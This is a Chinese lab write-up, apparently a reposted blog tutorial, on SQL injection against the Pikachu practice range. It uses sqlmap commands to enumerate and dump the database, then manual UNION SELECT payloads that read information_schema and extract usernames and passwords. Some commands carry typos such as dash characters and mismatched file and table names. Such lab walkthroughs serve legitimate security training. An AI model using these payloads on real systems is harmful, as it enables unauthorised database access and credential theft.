本文主要是介绍皮卡丘(pikachu)SQL注入(手工和工具举例),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
我们以数字型(使用sqlmap)和整数型(使用手工注入)举一个例子
数字型注入(POST)
我们使用了sqlmap
选择1点击查询并抓包
将抓下来的数据全部复制在一个记事本里,命名为1.txt
使用命令 python sqlmap.py –r 111.txt –current-db
爆出数据库:pikachu
之后爆破表:python sqlmap.py –r 111.txt –D pikachu -tables
爆出表
在之后找一个表去爆列名
python sqlmap.py -r 111.txt -D pikachu -T users –columns
爆出列名
最后爆出列名字段的值数据
python sqlmap.py –r 111.txt –D pikachu –T username –C username –dump
爆出数据
这里只是爆了一个表中的一点内容,没有把所有数据全部爆出来。
字符型注入(Get)
这次我们使用手工注入
输入一个kobe试试
首先我们判断一下是否有注入点,输入kobe’ or 1=1
报错了证明可以执行sql语句
输入kobe’ and 1=1# 可以爆出数据
使用order by
aaa' order by 1#
aaa' order by 2#
aaa' order by 3#
aaa' order by 4#
得知查询结果列数为3
之后使用联合查询查询数据库名,用户名(我这里是三列所以加了version)
a'union select database(),user(),version()#
得到数据库名之后,我们可以把表爆出来
kobe' union select database(),group_concat(table_name),version()from information_schema.tables where table_schema=database() #
爆出表之后我们再去爆列
kobe' union select database(),group_concat(column_name),version() from information_schema.columns where table_schema=database() and table_name='users' #
爆出列,最后爆值
kobe' union select database(),group_concat(username,'~',password),version() from pikachu.users#
注:我的pikachu是三列,所以直接用我的sql命令有可能出现报错情况,是因为列数错误
可改为两列试一试(把version删掉就可以了)
这篇关于皮卡丘(pikachu)SQL注入(手工和工具举例)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!